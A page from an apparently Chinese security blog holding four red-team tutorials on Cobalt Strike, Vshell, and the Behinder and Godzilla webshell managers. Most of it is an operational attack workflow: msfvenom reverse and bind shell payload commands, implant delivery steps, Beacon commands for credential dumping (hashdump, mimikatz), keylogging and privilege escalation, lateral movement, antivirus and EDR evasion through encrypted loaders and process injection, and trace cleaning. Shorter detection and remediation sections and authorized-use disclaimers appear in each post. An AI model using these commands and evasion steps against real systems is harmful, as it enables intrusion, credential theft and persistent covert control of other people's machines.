C2 on SoulJian小站

Cobalt Strike 深度实战：木马生成、正反向与插件

Sat, 29 Aug 2026 23:40:00 +0800

写在前面：合法学习边界

Cobalt Strike 是商用红队工具，仅用于授权项目。非授权上线可能触犯法律。

一、正反向 Listener 与木马

反向连接（Reverse，最常用）

1
2
3


原理：目标主动连回攻击机
场景：目标可出网
Listener：windows/beacon_http_reverse_tcp、reverse_https

正向连接（Bind）

1
2
3


原理：目标开放端口，攻击机连过去
场景：目标只能进不能出（防火墙/隔离网）
Listener：windows/beacon_bind_tcp

Staged vs Stageless

1
2
3
4


Staged：先跑小段加载器，再从服务器拉完整 beacon
 体积小、隐蔽性好，但依赖分段下载
Stageless：完整 beacon 打进 exe
 体积大、更稳，常用于避免分段被拦

二、生成木马

界面生成

1
2
3
4
5


Attacks → Packages
Windows Executable（Staged/Stageless）
Windows Executable(S)：可分片
Scripted Web Delivery：远程加载
HTML Application / MS Office Macro：钓鱼投递

msfvenom 配合（正反向）

1
2
3
4


# 反向
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# 正向
msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

三、上线与后渗透

1
2
3


投递木马 → 目标执行 → 会话上线
常用命令：shell、upload/download、screenshot、
migrate、getsystem、hashdump、mimikatz、socks

四、插件（CNA / Aggressor）

1
2
3
4
5
6
7


Cobalt Strike 用 CNA（Aggressor Script）做扩展
常用插件类型：
 免杀/加载器
 CrossC2：Linux/macOS beacon
 各类信息收集/横向辅助
 GitHub 上有大量开源插件
加载：Script Manager → Load

五、免杀思路（授权内）

1
2
3
4
5
6
7


1. 改 C2 Profile：自定义流量特征（URI、UA、伪造流量）
2. 改监听端口、sleep、jitter，降低固定特征
3. 加载器免杀：shellcode 加密 + 白名单程序加载
 （rundll32 / mshta / powershell / 白文件）
4. 进程注入：注入白进程内存运行，不落地文件
5. 加壳/混淆：降低静态特征
6. 免杀是与杀软/EDR 的持续对抗，授权内测试

六、检测（对立面）

1
2
3
4
5


默认 Beacon 特征：固定端口/UA/流量指纹
内存特征、异常进程注入
mimikatz/hashdump 行为
回连域名/固定时间片
EDR 都能识别默认 CS → 必须改特征

完整操作步骤

1
2
3
4
5
6


第 1 步：启动 teamserver，连接 Client
第 2 步：按目标出网情况选正反向 Listener
第 3 步：生成 payload（Staged/Stageless），投递执行
第 4 步：确认上线，做基础后渗透（shell/mimikatz）
第 5 步：建 Socks 隧道、横向移动
第 6 步：改特征/免杀，做权限维持

七、小结

CS 深化的关键是：正反向连接选对场景、Staged/Stageless 选对投递、插件扩展能力、免杀要改特征。木马生成不只是“点一下生成”，还要考虑目标出不出网、杀软/EDR 能不能过、流量像不像真的。攻防双方都在研究它的指纹。

Vshell 深度实战：功能模块与免杀

Sat, 29 Aug 2026 23:30:00 +0800

写在前面：合法学习边界

Vshell 是后渗透工具，仅用于授权测试。对非授权目标上线 Agent 可能触犯法律。

一、Vshell 定位

Vshell 是国内轻量级 C2/后渗透平台，核心是“一台服务端管理多台主机”，功能覆盖上线、控制、隧道、横向，界面和上手比 CS 轻。

1

服务端 + Agent：Windows/Linux 均支持

二、服务端部署

1
2
3


# Linux 运行服务端，设置连接口令
./Vshell_linux_amd64 -token YourToken
# 默认监听端口（web 管理 + 回连监听）

1

注意：Vshell 默认特征明显，授权内使用，别在公网裸跑

三、生成 Agent（正反向）

反向（默认）

1
2


目标主动连回服务端
适用：目标可出网

正向（Bind）

1
2


目标开端口，服务端连过去
适用：目标只能进不能出（边界环境）

生成方式

1
2
3


选择目标系统（Windows/Linux）
选择架构（x86/x64）
生成 exe/elf 或脚本

四、Agent 上线与控制

1
2
3
4
5
6


目标执行 → 服务端出现主机
功能：
 命令执行
 文件管理（上传/下载）
 端口/进程查看
 注册表/计划任务（持久化辅助）

五、隧道与横向

1
2
3


Socks5 代理：让本地访问目标内网
端口转发：把内网端口映射出来
横向：配合抓取凭据/哈希登录其他主机

1
2


# 本地走 socks 访问内网
proxychains4 nmap -sT -Pn 内网IP

六、免杀思路（授权内）

1
2
3
4
5


1. 改特征：端口、回连路径、流量指纹
2. 加载器：shellcode 加密 + 白名单程序加载（rundll32/mshta/powershell）
3. 进程注入：注入白进程内存中运行
4. 加壳/混淆：降低静态特征
5. 注意：免杀是独立课题，实时对抗，授权使用

七、与 Cobalt Strike 对比

1
2
3


相同：服务端 + Agent、上线、隧道、横向
区别：Vshell 更轻、国产、上手快；CS 生态/插件更成熟
选型：看场景与团队习惯

八、检测（对立面）

1
2
3
4


Agent 固定流量特征、固定回连结构
异常外联、非常规端口
进程/文件特征可被 EDR 识别
服务端 IP/端口作为 IOC

完整操作步骤

1
2
3
4
5
6


第 1 步：Linux 启动服务端并设置口令
第 2 步：按目标出网情况选正反向生成 Agent
第 3 步：投递 Agent，确认上线
第 4 步：命令执行/文件管理/抓凭据
第 5 步：开 Socks/端口转发进内网
第 6 步：改特征免杀、权限维持

九、小结

Vshell 让“单点失陷 → 集群控制”变得很轻量。用它会生成正反向 Agent、隧道、横向是核心；防守端要抓异常外联、Agent 特征和 EDR 告警。和 CS 一样，授权使用 + 注意特征两件事都要做。

冰蝎与哥斯拉：WebShell 管理实战

Sat, 29 Aug 2026 16:50:00 +0800

写在前面：合法学习边界

冰蝎/哥斯拉仅用于授权测试。上传 WebShell 属于高风险行为，禁止在非授权系统使用。

一、工具定位

WebShell 一旦被上传，就需要一个“管理端”来连接和操作。冰蝎与哥斯拉是两类主流工具：

1
2


冰蝎（Behinder）：PHP/JSP/ASP 等，流量 AES 加密
哥斯拉（Godzilla）：Java 编写，多语言支持，功能更全

它们的特点是流量加密、行为隐蔽，常用于绕过 WAF 和日志检测。

二、冰蝎使用

生成服务端脚本

1
2
3


客户端选择目标语言（PHP/JSP/ASP）
生成 webshell.php（内置 AES 密钥）
上传到目标 Web 目录

连接

1
2
3


URL 填 shell 地址
密码填生成时的连接密码
默认密钥 3cb8b8f1e0f9d4c9... 可改

功能

1
2
3
4


命令执行
文件管理
数据库管理
反弹 Shell

细节与特征（务必注意）

1
2
3
4


默认密钥固定 → 安全设备可识别
请求特征：固定 Content-Length、特殊 UA、AES 加密密文
冰蝎 4.0 默认密钥特征明显
改密钥/加流量伪装可降低特征，但仍是检测重点

三、哥斯拉使用

生成 Payload

1
2
3


生成模式选 Java（或 PHP/ASPX）
输出一个脚本文件（如 shell.jsp）
上传到目标

连接

1
2


URL + 密钥 + Payload 类型
支持 Fofa 批量扫描在线管理

功能

1
2
3
4


命令执行、虚拟终端
文件管理、数据库
内存马、免杀拓展
Socks 代理

细节与特征

1
2
3


哥斯拉 payload 默认特征（固定开头/密钥串）
流量加密但握手与结构可被识别
常用检测：流量特征 + 内存特征 + 文件特征

四、实战流程（授权环境）

1
2
3
4


1. 通过漏洞拿到上传点/写入点
2. 上传 shell（用冰蝎/哥斯拉生成）
3. 管理端连接、确认命令执行
4. 提权、横向、清理痕迹

影响与风险

WebShell 一旦被管理工具接管：

1
2
3


服务器被持续远程控制
数据窃取、内网横向
被用于挖矿、勒索、架设跳板

风险等级：严重。加密流量让它在日志里更难被发现。

完整操作步骤

1
2
3
4
5


第 1 步：通过漏洞拿到上传/写入点
第 2 步：用冰蝎/哥斯拉生成对应语言 shell
第 3 步：上传并在管理端连接、确认执行
第 4 步：改密钥/流量伪装降低特征
第 5 步：提权、横向、清理痕迹

五、检测（对立面）

1
2
3
4
5


特征密钥/密文/UA/Content-Length 指纹
Web 目录非常规文件扫描
流量解密识别（解密后看命令）
EDR 内存马检测
日志中可疑上传与异常访问

六、防御与清理

1
2
3
4


上传校验 + 目录不可执行 + WAF
定期扫描 WebShell 特征
发现后：取证 → 隔离 → 清理 → 追入侵链路
对被杀进程/内存马做专项清理

修复

1
2
3
4
5


发现后先取证，保留现场再清理
删除 WebShell 文件并排查同目录异常文件
清理内存马与相关进程
追查上传入口，修复对应漏洞
复测：文件与内存特征均消失

七、小结

冰蝎/哥斯拉把 WebShell 从“能执行”变成“好管理”，核心价值是流量加密与功能集成。但默认特征可被识别，攻防焦点就在特征上。使用时先确认授权，防御时重点抓“默认密钥+流量指纹+内存特征”。

Cobalt Strike 基础使用与 Beacon 实战

Sat, 29 Aug 2026 16:40:00 +0800

写在前面：合法学习边界

Cobalt Strike 是商用红队工具，仅用于授权测试或授权渗透项目。未经授权使用、上线真实系统可能触犯法律。

一、工具定位

Cobalt Strike（CS）是红队常用的 C2 框架，核心组件：

1
2
3
4


Teamserver：服务端，管理团队与 Beacon
Client：攻击者操作界面
Listener：监听反向连接
Beacon：植入目标主机的后门会话

它的价值不只是“反弹 Shell”，而是团队协作 + 后渗透 + 横向的一体化平台。

二、启动与配置

启动 Teamserver

1
2


# 用法：teamserver <监听IP> <密码> [c2profile]
./teamserver 192.168.1.100 YourPassword

连接 Client

1
2


打开 Cobalt Strike → Connect
输入 teamserver IP、密码

新建 Listener（监听器）

1
2
3


Listeners → Add
Type 选 windows/beacon_https（加密回流，比 http 稳）
设置 Host 为攻击机 IP、端口（如 443/8443）

三、生成 Payload 并上线

生成 Beacon

1
2
3


Attacks → Packages → Windows Executable
选 Listener，生成 exe
把 exe 投递到目标执行（钓鱼/漏洞利用后）

上线确认

1

目标执行后，Cobalt Strike 的会话列表出现 Beacon

四、Beacon 常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


shell whoami # 执行系统命令
shell ipconfig /all
upload /path/x.exe # 上传文件
download C:\x.txt # 下载文件
screenshot # 截屏
ps # 进程列表
migrate <pid> # 进程注入迁移（稳会话）
getsystem # 提权到 SYSTEM
hashdump # 抓本地哈希
mimikatz sekurlsa::logonpasswords # 抓凭据
keylogger # 键盘记录
sleep 60 # 回连间隔
browserpivot # 浏览器劫持
socks 1080 # 开 Socks 代理
spawn # 派生新会话

五、横向与隧道

横向移动

1
2
3


用 beacon 的 psexec_psh / wmi 模块
目标：已抓到的哈希/账号横向登录其他主机
配合 mimikatz hashdump + psexec_psh

Socks 代理

1
2


beacon> socks 1080
本地 proxychains 指到 CS 客户端 → 访问内网

影响与风险

C2 一旦上线目标，攻击者能做的事远不止弹个 Shell：

1
2
3


长期驻留、随时远程控制
抓取凭据、横向移动整个内网
数据窃取、勒索、持久后门

风险等级：严重。CS 这类平台化工具放大了单点失陷的影响面。

六、特征与规避（务必注意）

1
2
3
4


默认 Beacon 特征明显：固定端口、固定 User-Agent、默认流量指纹
安全产品能识别默认 CS → 需改 C2 Profile 隐藏特征
上线频率(sleep)、进程迁移、内存中运行可降低落地风险
免杀与规避是独立课题，授权内使用

七、检测（对立面）

1
2
3
4


特征域名/固定回连流量
Beacon 内存特征、异常进程注入
抓包识别 C2 协议指纹
EDR 检测 CS 常用手法（mimikatz、hashdump、进程注入）

修复

1
2
3
4
5


清除失陷主机上的 Beacon 进程与持久化
排查计划任务/服务/注册表中的自启
加固出站策略，阻断 C2 回连
EDR 检测进程注入、mimikatz 等手法
修复后复测：无外联、无异常进程

八、小结

Cobalt Strike 的流程是：teamserver → listener → payload 上线 → beacon 后渗透 → 横向。它把红队工作“平台化”，但也因此特征明显——攻防双方都在研究它的指纹。授权使用、注意特征，是两件必须同时做的事。